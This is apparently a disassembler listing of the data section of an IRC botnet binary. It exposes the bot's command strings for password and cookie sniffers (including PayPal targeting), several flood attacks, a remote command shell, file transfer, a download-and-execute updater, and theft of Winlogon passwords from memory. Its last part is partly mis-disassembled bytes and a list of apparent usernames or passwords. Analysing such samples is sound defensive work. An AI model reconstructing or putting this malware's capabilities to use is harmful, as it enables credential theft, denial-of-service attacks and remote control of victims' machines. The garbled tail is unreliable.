dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00436C54o
align 4
off_4374B8 dd offset loc_505445+1 ; DATA XREF: ___:00436C50o
off_4374BC dd offset aFailedToSta_36+25h ; DATA XREF: ___:00436C4Co
off_4374C0 dd offset word_544F42 ; DATA XREF: ___:00436C48o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
dd 64252064h, 0
dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h
aSocketFailedRe db '- socket() failed, returned %d',0
align 4
aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo
align 10h
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o
a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o
align 4
a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo
align 10h
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do
align 4
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo
align 10h
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper db 'oper ',0 ; DATA XREF: sub_413003+51o
align 10h
aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o
; sub_413079+2Bo
align 4
aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo
align 10h
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo
align 4
a220 db '220 ',0 ; DATA XREF: sub_413079+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o
align 4
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o
align 10h
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o
align 4
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
align 4
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo
align 4
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o
align 4
unk_437734 db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_43776C db 2Dh ; - ; DATA XREF: sub_4131EC+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4377A4 db 2Dh ; - ; DATA XREF: sub_4131EC+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377D8 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43780C db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437840 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 10h
unk_437870 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4378C4 dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_413694+302o
dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h
dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h
dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
dd 0
dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h
dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h
dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h
dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h
dd 25282064h, 2F424B69h, 29636573h, 0
db 2Dh ; -
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloodI db '- Done with flood (%iKB/sec).',0
align 4
dword_437AEC dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
; DATA XREF: sub_4143F7+27Do
dd 3C203A72h, 2E3E6425h, 0
dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh
dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h
dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h
dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h
dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h
dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
dd 0
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h
dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h
dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h
dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch
dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
dd 2E642520h, 0
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0
align 4
dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o
dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
align 4
dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415DD8:loc_415E0Do
dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
; DATA XREF: sub_415DD8+20o
dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
; DATA XREF: ___:00415F27o
dd 6574656Ch, 0
dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
; DATA XREF: ___:00415E8Ao
dd 676E6974h, 0
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToSendTo db '- failed to send to Remote command shell',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenRe db '- failed to open remote command shell',0
align 4
unk_437FEC db 2Dh ; - ; DATA XREF: ___:004162BEo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToOpenSo db '- failed to open socket',0
align 10h
dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
; DATA XREF: ___:00416523o
; ___:004166B9o
dd 726F72h
unk_438028 db 2Dh ; - ; DATA XREF: ___:004164BBo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0
align 4
unk_438054 db 2Dh ; - ; DATA XREF: ___:004163C3o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aUnableToOpenSo db '- unable to open socket',0
align 4
dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
; DATA XREF: ___:0041638Co
dd 74756Fh
dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: ___:0041632Bo
dd 169h
unk_4380A8 db 2Dh ; - ; DATA XREF: ___:004162E8o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFileDoesnTExis db '- file doesn',27h,'t exist',0
align 4
unk_4380C8 db 2Dh ; - ; DATA XREF: ___:00416243o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToBindTo db '- failed to bind to socket',0
unk_4380EC db 2Dh ; - ; DATA XREF: ___:00416205o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToCrea_2 db '- failed to create socket',0
align 10h
unk_438110 db 2Dh ; - ; DATA XREF: ___:00416734o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceivedSFromS db '- received %s from %s (%s bytes).',0
align 4
unk_43813C db 2Dh ; - ; DATA XREF: ___:0041662Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningSo db '- error opening socket',0
unk_43815C db 2Dh ; - ; DATA XREF: ___:0041660Eo
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorOpeningFi db '- error opening file for writing',0
align 4
aAB db 'a+b',0 ; DATA XREF: ___:004165FAo
unk_43818C db 2Dh ; - ; DATA XREF: ___:004165E6o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aErrorUnableToW db '- error unable to write file to disk',0
align 4
unk_4381BC db 2Dh ; - ; DATA XREF: ___:00416C33o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aBadUrlOrDnsErr db 'bad url or dns error at %s.',0
unk_4381E8 db 2Dh ; - ; DATA XREF: ___:00416C25o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aUpdateFailedEr db 'update failed, error executing %s',0
align 4
unk_43821C db 2Dh ; - ; DATA XREF: ___:00416B69o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
align 10h
dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh
; DATA XREF: ___:00416AF8o
dd 25206465h, 73h
unk_43827C db 2Dh ; - ; DATA XREF: ___:00416A81o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
align 4
unk_4382B4 db 2Dh ; - ; DATA XREF: ___:00416A02o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongCrcDD_ db 'wrong crc (%d != %d).',0
align 4
unk_4382DC db 2Dh ; - ; DATA XREF: ___:00416978o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aWrongFilesizeD db 'wrong filesize (%d != %d).',0
align 4
unk_438308 db 2Dh ; - ; DATA XREF: ___:00416935o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aGotUpdateSDkb_ db 'got update %s (%dKB).',0
align 10h
unk_438330 db 2Dh ; - ; DATA XREF: ___:00416923o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadedSDkb db 'downloaded %s (%dKB)',0
align 4
unk_438358 db 2Dh ; - ; DATA XREF: ___:00416817o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0
align 10h
aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo
; sub_419443+10Ao
aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o
aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo
align 4
aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o
aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o
align 4
off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do
word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo
; sub_41AF8F:loc_41B091r
align 10h
aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o
; sub_416EFD+3Bo
align 4
aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co
align 10h
unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0
align 4
unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0
off_438438 dd offset loc_5C3A40+1 ; DATA XREF: sub_416FCF:loc_417014o
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
db 66h ; f
db 6Fh, 75h, 6Eh
db 64h ; d
db 20h, 25h, 64h
db 20h
aFiles db 'files',0
align 4
db 2Dh ; -
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingFor_0 db 'searching for file %s',0
align 4
dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h
dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToEnable db 'failed to enable debug privilege',0
align 4
unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindWi db 'unable to find winlogon pid',0
unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aUnableToFindTh db 'unable to find the password in memory',0
align 10h
unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
db 57h ; W
db 69h, 6Eh, 4Ch
db 6Fh ; o
db 67h, 6Fh, 6Eh
db 20h
db 49h, 6Eh, 66h
db 6Fh ; o
db 72h, 6Dh, 61h
db 74h ; t
db 69h, 6Fh, 6Eh
db 20h
db 28h, 50h, 49h
db 44h ; D
db 20h, 25h, 64h
db 29h ; )
db 20h, 2Dh, 20h
db 2
db 44h, 6Fh, 6Dh
db 61h ; a
db 69h, 6Eh, 2
db 3Ah ; :
db 20h, 2 dup(5Ch)
db 25h ; %
db 53h, 2Ch, 20h
db 2
db 55h, 73h, 65h
db 72h ; r
db 2, 3Ah, 20h
aSNoPassword_ db '(%S/(no password)).',0
off_43859C dd offset byte_530055 ; DATA XREF: sub_4172C1+DCo
dd offset byte_520045
dd offset dword_4F0044
dd offset loc_41004C+1
dd offset byte_4E0049
dd 0
off_4385B4 dd offset byte_530055 ; DATA XREF: sub_4172C1+CEo
dd offset byte_520045
dd offset loc_41004C+2
dd offset byte_45004D
align 8
aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao
align 4
aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do
align 10h
aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o
aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o
align 4
aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o
align 4
aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o
align 4
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o
; sub_4172C1+161o ...
align 4
unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aOnlySupportedO db 'only supported on winnt/win2k',0
align 4
aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo
align 10h
aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o
align 4
aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo
align 4
dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_4178F9+70o
; sub_417990+C7o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h
; DATA XREF: sub_417990+E1o
dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
dd 2929h
off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr
; "q"
; ---------------------------------------------------------------------------
sbb [ebx-4E77FFBDh], dl
inc edx
add [eax+1C0042C6h], ah
mov byte ptr [edx+0], 14h
xchg eax, ebx
inc ebx
add al, dl
scasd
inc edx
add [eax-3Ah], dh
inc edx
add [edi+ebp*4-4DE7FFBEh], ch
inc edx
add [eax-3Ah], bh
inc edx
add [eax], dl
xchg eax, ebx
inc ebx
add [ebx+edx*4], cl
inc ebx
add [eax], cl
xchg eax, ebx
inc ebx
add [ebx+edx*4], al
inc ebx
add [edi+esi*4+42h], bh
add ah, ch
retf 42h
; ---------------------------------------------------------------------------
dd offset dword_439300
; ---------------------------------------------------------------------------
cld
xchg eax, edx
inc ebx
add al, bh
xchg eax, edx
inc ebx
add al, dh
retf 42h
; ---------------------------------------------------------------------------
dd offset aV ; "v"
dd offset dword_4392F4
dd offset aN ; "n"
dd offset aM ; "m"
dd offset dword_4392F0
dd offset dword_4392EC
dd offset dword_4392E8
dd offset dword_4392E4
dd offset dword_4392E0
dd offset word_4392DC
dd offset dword_4392D8
dd offset aI_0 ; "I"
dd offset dword_4392D4
dd offset dword_4392D0
dd offset aA_0 ; "A"
dd offset dword_4392CC
dd offset dword_4392C8
dd offset dword_4392C4
dd offset dword_4392C0
dd offset dword_4392BC
dd offset dword_4392B8
dd offset dword_4392B4
dd offset dword_4392B0
dd offset dword_4392AC
dd offset dword_4392A8
dd offset dword_4392A4
dd offset dword_4392A0
dd offset dword_43929C
dd offset word_439298
dd offset aM_0 ; "M"
dd offset aSmartmir ; "SMARTMIR"
dd offset aFarooq ; "farooq"
dd offset aMaxxguy ; "maxxguy"
dd offset aBobmarley ; "BOBMARLEY"
dd offset aEmilya ; "emilya"
dd offset aKrizha ; "KRIZHA"
dd offset aCar1nna ; "Car1nna"
dd offset aSwin ; "swin"
dd offset aMale ; "male"
dd offset aKoko ; "koko"
dd offset aFlexster ; "flexster"
dd offset aKen ; "ken"
dd offset aShez ; "Shez"
dd offset aTalika ; "talika"
dd offset aMarcy ; "marcy"
dd offset aCme ; "cme"
dd offset aHeval ; "heval"
dd offset aBunty ; "bunty"
dd offset aJanno ; "janno"
dd offset aRimpy ; "rimpy"
dd offset aNastysha ; "nastysha"
dd offset aLuisa ; "Luisa"
dd offset aTroller ; "troller"
dd offset aManee ; "manee"
dd offset aKermit ; "kermit"
dd offset aPuregold ; "puregold"
dd offset aCoredump ; "CoreDump"
dd offset aImra ; "imra"
dd offset aGirl ; "GirL"
dd offset aCamel ; "CAMEL"
dd offset aReshma ; "reshma"
dd offset aKencing ; "Kencing"
dd offset aThr45h3r5 ; "THR45H3R5"
dd offset aCansuuuu ; "cansuuuu"
dd offset aKaan38dent ; "kaan38dent"
dd offset aErkan27 ; "erkan27"
dd offset aHexaaa ; "hexaaa"
dd offset aBerk19 ; "berk19"
dd offset aObenibisevse ; "OBeNiBiSeVSe"
dd offset aIrmal ; "irmal"
dd offset aMisssunday ; "misssunday"
dd offset aTolga34 ; "Tolga34"
dd offset aJericho ; "JERICHO"
dd offset aMary_0 ; "MARY"
dd offset aAkin ; "AKIN"
dd offset aMelekk ; "melekk"
dd offset aTrend3 ; "trend3"
dd offset aMERVE ; "M-E-R-V-E"
dd offset aTekir ; "tekir"
dd offset aVenedik34 ; "venedik34"
dd offset aSevmekmi ; "sevmekmi"
dd offset aSudenur ; "SUDENUR"
dd offset aArzu ; "ARZU"
dd offset aHaticem ; "haticem"
dd offset aErnesto ; "ERNESTO"
dd offset aAslii ; "aslii"
dd offset aPiramit ; "PIRAMIT"
dd offset aSamyeli21 ; "samyeli21"
dd offset aRetg ; "RETG"
